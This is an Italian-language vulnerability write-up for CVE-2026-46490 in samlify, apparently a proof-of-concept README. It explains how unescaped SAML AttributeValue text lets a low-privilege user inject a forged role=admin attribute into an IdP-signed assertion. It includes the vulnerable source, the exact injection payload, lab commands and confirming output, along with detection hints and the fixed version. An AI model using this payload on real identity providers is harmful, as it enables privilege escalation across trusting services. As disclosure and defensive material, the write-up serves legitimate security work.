
CVE-2026-46490 — samlify <2.13.0 iniezione XML di AttributeValue SAML -> escalation dei privilegi di asserzione firmata. PoC autonomo, verificato e2e.
AttributeValue XML Injection → Escalation dei privilegisamlify
< 2.13.0esegue l'escape delle sostituzioni di template solo nei contesti degli attributi. Un valore controllato dall'utente (es.name) inserito nel testo dell'elemento —<saml:AttributeValue>{Value}</saml:AttributeValue>— viene inserito senza escape, quindi un utente normale può iniettare elementi<saml:Attribute>aggiuntivi (es.role=admin) nella propria asserzione SAML firmata dall'IdP. Poiché l'iniezione avviene prima della firma, il controllo della firma del Service Provider ha successo e questo consuma gli attributi falsificati come autorevoli.
src/libsaml.ts sostituisce i segnaposto {tag} tramite replaceTagsByValue →
escapeTag:
replaceTagsByValue(rawXML, tagValues) {
Object.keys(tagValues).forEach(t => {
rawXML = rawXML.replace(new RegExp(`("?)\\{${t}\\}`, 'g'), escapeTag(tagValues[t]));
});
return rawXML;
}
function escapeTag(replacement) {
return (_match, quote) => {
const text = String(replacement ?? '');
// "not having a quote means this interpolation isn't for an attribute, and so does not need escaping"
return quote ? `${quote}${xmlEscape(text)}` : text; // <-- element text: NO escaping
};
}
L'espressione regolare cattura un " opzionale precedente come quote. Nel contesto
degli attributi (Name="{Name}") quote è impostato e il valore viene xmlEscaped; nel
testo dell'elemento (>{attrEmail}<) non c'è una virgoletta precedente, quindi il
valore viene emesso letteralmente.
Il template predefinito per gli attributi inserisce il valore nel testo dell'elemento:
<saml:Attribute Name="{Name}" ...><saml:AttributeValue ...>{Value}</saml:AttributeValue></saml:Attribute>
Quindi un valore di attributo controllato dall'attaccante contenente </> inietta XML grezzo.
L'attaccante imposta il proprio attributo del profilo (qui email) su:
[email protected]</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="ignore"><saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema">
Questo chiude l'attributo email, aggiunge un attributo role=admin falsificato, e
riapre un attributo fittizio in modo che la chiusura finale del template
</saml:AttributeValue></saml:Attribute> rimanga bilanciata. L'IdP quindi firma
l'asserzione — coprendo l'attributo falsificato. Un SP conforme agli standard valida la
firma (valida) e legge role=admin.
cd lab && ./setup.sh # npm i [email protected] + generate IdP/SP keypairs
node poc.js
Output:
>>> INJECTION CONFIRMED: forged <saml:Attribute Name="role">admin smuggled into the signed assertion
extracted attributes: {"email":"[email protected]","role":"admin","ignore":[]}
>>> PRIVILEGE ESCALATION CONFIRMED: SP accepted a signature-valid assertion granting role=admin
Il PoC pilota l'IdP stesso di samlify (createLoginResponse, che esegue la vulnerabile
sostituzione replaceTagsByValue e firma) e il SP (parseLoginResponse, che valida la
firma ed estrae gli attributi). Il SP restituisce role: "admin" — un attributo che
l'attaccante ha falsificato, non uno che l'IdP intendeva emettere.
Qualsiasi utente che possa influenzare uno dei propri valori di attributo SAML (email,
nome visualizzato, …) su un IdP basato su samlify può creare un'asserzione validamente
firmata con attributi aggiuntivi arbitrari — appartenenza a gruppi/ruoli, diritti,
flag isAdmin — e aumentare i privilegi su ogni SP che si fida dell'IdP. La validazione
della firma SAML non aiuta: la falsificazione è all'interno dell'ambito firmato.
Ispezionare le asserzioni emesse/consumate per valori di attributo che contengono markup XML
(</saml:AttributeValue>, <saml:Attribute), e per asserzioni che trasportano più
elementi <saml:Attribute> di quanti ne definisca il template dell'IdP.
Vedere ANALYSIS.md per l'espressione regolare di sostituzione, l'euristica delle
virgolette e la patch.
| CVE | CVE-2026-46490 |
| Advisory | GHSA-34r5-q4jw-r36m |
| Affected | samlify < 2.13.0 |
| Fixed | 2.13.0 |
| Class | CWE-91 (XML Injection) → escalation dei privilegi |
| CVSS | 8.8 (Alto) |
| Auth | Utente autenticato con privilegi bassi (controlla uno dei propri valori di attributo) |
| Status | CONFERMATO — catena IdP→SP completa riprodotta con [email protected] |